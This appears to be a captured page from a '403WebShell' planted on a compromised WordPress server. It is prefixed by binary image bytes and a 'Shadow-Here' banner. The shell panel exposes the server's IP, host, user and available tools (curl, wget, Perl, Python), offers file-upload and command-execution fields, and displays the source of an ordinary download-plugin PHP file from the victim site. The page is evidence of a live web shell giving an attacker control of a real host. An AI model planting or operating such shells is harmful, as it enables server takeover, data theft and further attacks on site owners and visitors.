....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.19.154.92  /  Your IP : 216.73.216.47
Web Server : Apache
System : Linux lon12.onrocket.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
User : gd5hzp4 ( 1069)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gd5hzp4/public_html/wp-content/plugins/download-plugin/app/Plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gd5hzp4/public_html/wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php
<?php
namespace DPWAP\Plugins;

if ( !defined( 'ABSPATH' ) ) {
    exit;
}

use Plugin_Upgrader;
use Plugin_Installer_Skin;

class Dpwapuploader
{
    var $plugin_url;
    var $key;
   
    public function __construct(){
        $this->plugin_url = trailingslashit( get_bloginfo( 'wpurl' ) ) . PLUGINDIR . '/' . dirname( plugin_basename( __FILE__ ) );
        $this->key = 'dpwapuploader';
    }
	  
	// download the plugin handler form the wordpress org
    public function dpwap_plugin_handle_download( $plugin_name, $package, $dpwap_action, $whform, $dpid ) {
        if ( !current_user_can( 'install_plugins' ) ) return;

        global $wp_version;
        if ( !isset( $type ) ) {
            $type = '';
        }
        if ( !isset( $title ) ) {
            $title ='';
        }
        if ( !isset( $url ) ) {
            $url = '';
        }
        if ( !isset( $nonce ) ) {
            $nonce = '';
        }
        if ( version_compare( $wp_version, '3.0', '<' ) ) {
            include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';  
            $upgrader = new Plugin_Upgrader();
            $upgrader->install( $package );
        }			
        else{
		    include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		    $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url' ) ) ); 
		    $secPlugin = wp_create_nonce('dpwap_single_plugin_activate');
		    echo "<div class='".esc_attr('dpwap_inner '.$whform)."' id='".esc_attr('dpwap_sec_'.$dpid)."' data-plugin_sec='".esc_attr($secPlugin)."'>";
		    echo "<h4>".esc_html(basename( $package ) )."</h4>";
		    $res = $upgrader->install( $package );
		    if($res){
                echo "<div id='activate_yes'></div>";
            }
		    update_option( "dpwap_plugins", $dpid );
		    echo '<input type="hidden" name="dpid" value="'.esc_attr($dpid).'">';
		    echo '<input type="hidden" id="dpwap_plglist" name="'.esc_attr('dpwap_plglist_'.$dpid).'" value="'.esc_attr($upgrader->plugin_info()).'">';
			//remove temp files
			if ( $whform == "upload_locFiles" ) {
				@unlink( $package );
			}
			
			if ( !$upgrader->plugin_info() ) {
				echo esc_html($res);
			} 
            elseif ( $dpwap_action == "package_activate" ) {
			 	$waplugins = get_option( 'active_plugins' );
			 	if ( $waplugins ) {
			 		$puginsToActiv = array( $upgrader->plugin_info() );
			 		foreach ( $puginsToActiv as $waplugin ) {
			 			if ( !in_array( $waplugin, $waplugins ) ) {
			 			    array_push( $waplugins,$waplugin );
			 				update_option( 'active_plugins', $waplugins );
			 			}
			 		}
			 	}
                echo '<b class="mpi_act">'.esc_html__( 'Plugin activated successfully.', 'download-plugin' ).'</b><br/>';
			}
		    echo "</div>";
        }
    }
	
	public function dpwap_plugin_all_activate(){ 
	    $dpwapNum = get_option( "dpwap_plugins" );
	    for ( $i = 1; $i <= $dpwapNum; $i++ ) {
	 	    $waplugin = sanitize_text_field($_POST["dpwap_plglist_$i"]);
	 	    $waplugins = get_option( 'active_plugins' );
            if ( $waplugins ) {
		        if ( !in_array( $waplugin, $waplugins ) ) {
			        array_push( $waplugins,$waplugin );
			        update_option( 'active_plugins', $waplugins );
		        }
		        if(!empty($waplugin)){
		            $plgname = explode("/",$waplugin);
                    echo "<b>".esc_html($plgname[0]).".zip</b><br>";
                    echo '<p>'.esc_html__( 'Unpacking the package...', 'download-plugin' ).'</p>';
                    echo '<p>'.esc_html__( 'Installing the plugin...', 'download-plugin' ).'</p>';
                    echo '<p>'.esc_html__( 'Plugin installed sucessfully.', 'download-plugin' ).'</p>';
                    echo "<hr>";
		        }
            }
	    } 
    }
	// get plugin information	
    public function dpwap_get_plugin($plugin_name){
        $name = $plugin_name;
        $plugin = $plugin_name;
        $description = $author = '';
        $version = '0.1';
        $plugin_file = "$name.php";
        
        return array(
        	'Name' => $name, 
        	'Title' => $plugin, 
        	'Description' => $description, 
        	'Author' => $author, 
        	'Version' => $version
        );
    }
	
	public function dpwap_create_file($plugins_arr, $dpwap_cfilenm){
		if( $plugins_arr ){
			$dpwap_filetxt = "";
			foreach( $plugins_arr as $dpwap_plugin ) {
				$dpwap_filetxt .= $dpwap_plugin.",";
			}
			$dpwap_filetxt = substr( $dpwap_filetxt, 0, -1 );
			if( $dpwap_cfilenm ) {
				$dpwap_flnm = $dpwap_cfilenm.'_'.time().".mpi";
				$dpwap_file = DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/'.$dpwap_flnm;
			}
			else{
				$dpwap_flnm = "dpwap_".time().".mpi";
				$dpwap_file = DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/'.$dpwap_flnm;
			}
			$dpwap_handle = fopen( $dpwap_file, 'w+' ) or die( esc_html__('Cannot open file: ', 'download-plugin') . esc_html($dpwap_file) );
			fwrite( $dpwap_handle, $dpwap_filetxt );
			fclose( $dpwap_handle );
		}
	}
    
    public function dpwap_get_packages( $plugins_arr, $dpwap_action, $dpwap_cfilenm, $whform ) {
        global $wp_version;
        if ( !function_exists( 'fsockopen' ) ) return false;
        $dpid = 1;
        foreach ( $plugins_arr as $val ) {
            $val = trim( $val );
          	$tmp = explode( '.', $val );
			$file_extension = end( $tmp );
            if ( $file_extension == 'zip' ){
               $this->dpwap_plugin_handle_download( "temp", $val, $dpwap_action, $whform, $dpid );
            }
            else {
                $plugins[plugin_basename( $val . ".php" )] = $this->dpwap_get_plugin( $val );
                $send = 1;
            }
            $dpid++;
        }
        //$plugins = mpi_get_plugins();
        if ( isset( $send ) ) {
            $to_send = new stdClass();
            $to_send->plugins = $plugins;
            $send = serialize( $to_send );
            $request = 'plugins=' . urlencode( $send );
            $http_request = "POST /plugins/update-check/1.0/ HTTP/1.0\r\n";
            $http_request .= "Host: api.wordpress.org\r\n";
            $http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option( 'blog_charset' ) . "\r\n";
            $http_request .= "Content-Length: " . strlen( $request ) . "\r\n";
            $http_request .= 'User-Agent: WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) . "\r\n";
            $http_request .= "\r\n";
            $http_request .= $request;            
            //echo $http_request."<br><br>";
            $response = '';
            if ( false !== ( $fs = @fsockopen( 'api.wordpress.org', 80, $errno, $errstr, 3 ) ) && is_resource( $fs ) ) {
                fwrite( $fs, $http_request );
                while ( !feof( $fs ) ) {
                    // One TCP-IP packet
                    $response .= fgets( $fs, 1160 );
                }
                fclose( $fs );
                //echo $response;
                $response = explode( "\r\n\r\n", $response, 2 );
            }            
            $response = unserialize( $response[1] );
            $i = 0;
            foreach ( $plugins_arr as $val ) {
                ++$i;
                if ( $plugins[plugin_basename( "$val.php" )] ) {
                    if ( $response ){
                        $r = $response[plugin_basename( "$val.php" )];
                        if ( !$r ){
                            echo '<p class="not-found">' . $i . '. <strong>' . esc_html($val) . '</strong> '.esc_html__( 'not found. Try', 'download-plugin' ).' <a href="http://google.com/search?q=' . esc_html($val) . ' +wordpress">'.esc_html__( 'manual', 'download-plugin').'</a> '.esc_html__( 'install', 'download-plugin').'.</p>';
                        } 
                        elseif ($r->package) {
                            $this->_dpwapflush("<p class=\"found\">$i. ".esc_html__('Found', 'download-plugin')." <strong>" .esc_html($val). "</strong> ($r->slug, version $r->new_version). ".esc_html__( 'Processing installation...', 'download-plugin')."</strong></p>");
                            $this->dpwap_plugin_handle_download($r->slug,$r->package,$dpwap_action,$whform);
							$dpwap_fileArr[] = $r->slug;
                        } 
                        else{	
                           echo '<p class="not-found">' . $i . esc_html__( 'Package for', 'download-plugin').' <strong><em>' . esc_html($val) . '</em></strong> '.esc_html__( 'not found. Try', 'download-plugin').' <a href="' . esc_url($r->url) . '">'._( 'manual', 'download-plugin').'</a> '.esc_html__( 'install', 'download-plugin').'.</p>';
                        }
                    }
                    else{
                        echo '<p class="not-found">' . $i . '. <strong>' . esc_html($val) . '</strong> '.esc_html__( 'not found. Try', 'download-plugin').' <a href="http://google.com/search?q=' . esc_html($val) . ' +wordpress">'.esc_html__( 'manual', 'download-plugin').'</a> '.esc_html__( 'install', 'download-plugin') .'.</p>';
                    }
                }
            }
			if ( $dpwap_cfilenm != "nocreate" && $dpwap_fileArr > 0 ) {
				$this->dpwap_create_file( $dpwap_fileArr, $dpwap_cfilenm );
			}
        }
    }
	
	public function dpwap_copy_directory( $source, $destination ) {
		if ( is_dir( $source ) ) {
			@mkdir( $destination );
			$directory = dir( $source );
			while ( FALSE !== ( $readdirectory = $directory->read() ) ) {
				if ( $readdirectory == '.' || $readdirectory == '..' ) {
					continue;
				}
				$PathDir = $source . '/' . $readdirectory; 
				if ( is_dir( $PathDir ) ) {
					$this->dpwap_copy_directory( $PathDir, $destination . '/' . $readdirectory );
					continue;
				}
				@copy( $PathDir, $destination . '/' . $readdirectory );
			}
			$directory->close();
		}else {
			@copy( $source, $destination );
		}
	}
	
	public function dpwap_delete_directory($path){
		if ( is_dir( $path ) === true ) {
			$files = array_diff( scandir( $path ), array( '.', '..' ) );
			foreach ( $files as $file ) {
				$this->dpwap_delete_directory( realpath( $path ) . '/' . $file );
			}
			return @rmdir( $path );
		}
		else if ( is_file( $path ) === true ) {
			return @unlink( $path );
		}
		return false;
	}
	
	public function dpwap_getWP_maxupload_filesize(){
		$upload_size_unit = $max_upload_size = wp_max_upload_size();
		$sizes = array( 'KB', 'MB', 'GB' );
		for ( $u = -1; $upload_size_unit > 1024 && $u < count( $sizes ) - 1; $u++ ) {
			$upload_size_unit /= 1024;
		}
		if( $u < 0 ) {
			$upload_size_unit = 0;
			$u = 0;
		} else {
			$upload_size_unit = (int) $upload_size_unit;
		}
		printf( esc_html__( 'Maximum upload file size: %d%s.', 'download-plugin' ), esc_html($upload_size_unit), esc_html($sizes[$u]) );
	}

    public function _dpwapflush($s){
        echo $s;
        flush();
    }
	
	public function dpwap_app_DirTesting(){
		if ( !is_dir( DPWAPUPLOADDIR_PATH.'/dpwap_testing' ) ) { 
			if ( !is_dir( DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp' ) ) {
			    $temp_upload_dir = DPWAPUPLOADDIR_PATH . '/dpwap_logs/files/tmp';
                @wp_mkdir_p( $temp_upload_dir, 0777 );
			}
			if ( @mkdir( DPWAPUPLOADDIR_PATH.'/dpwap_testing', 0777 ) ) {
				@rmdir ( DPWAPUPLOADDIR_PATH.'/dpwap_testing' );
				return true;
			}
			else
			return false;
		}
	}	
		
	public function dpwap_plugin_locInstall(){
        // Increase the resources
        @ini_set( 'memory_limit', '1024M' );
        @ini_set( 'upload_max_filesize', '640M' );
        @ini_set( 'post_max_size', '640M' );

        check_admin_referer( $this->key );
        echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins', 'download-plugin' ) .':</div>';
        for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++ ) {
            $dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']['name'][$i]);
            if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false ) {
                //Get the temp file path
                $tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
                //Make sure we have a filepath
                if ( $tmpFilePath != "" ) {
                    //Setup our new file path
                    $newFilePath = DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
                    //Upload the file into the temp dir
                    if( @move_uploaded_file( $tmpFilePath, $newFilePath ) ) {
                        $dpwap_tempurls[] = DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
                    }
                }
            }
            else{
                echo esc_html__('This is', 'download-plugin') .' <b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip archive.', 'download-plugin' );
            }
        }
        if( $dpwap_tempurls )
        $this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate", "upload_locFiles" );
	}
}?>

Youez - 2016 - github.com/yon3zu
LinuXploit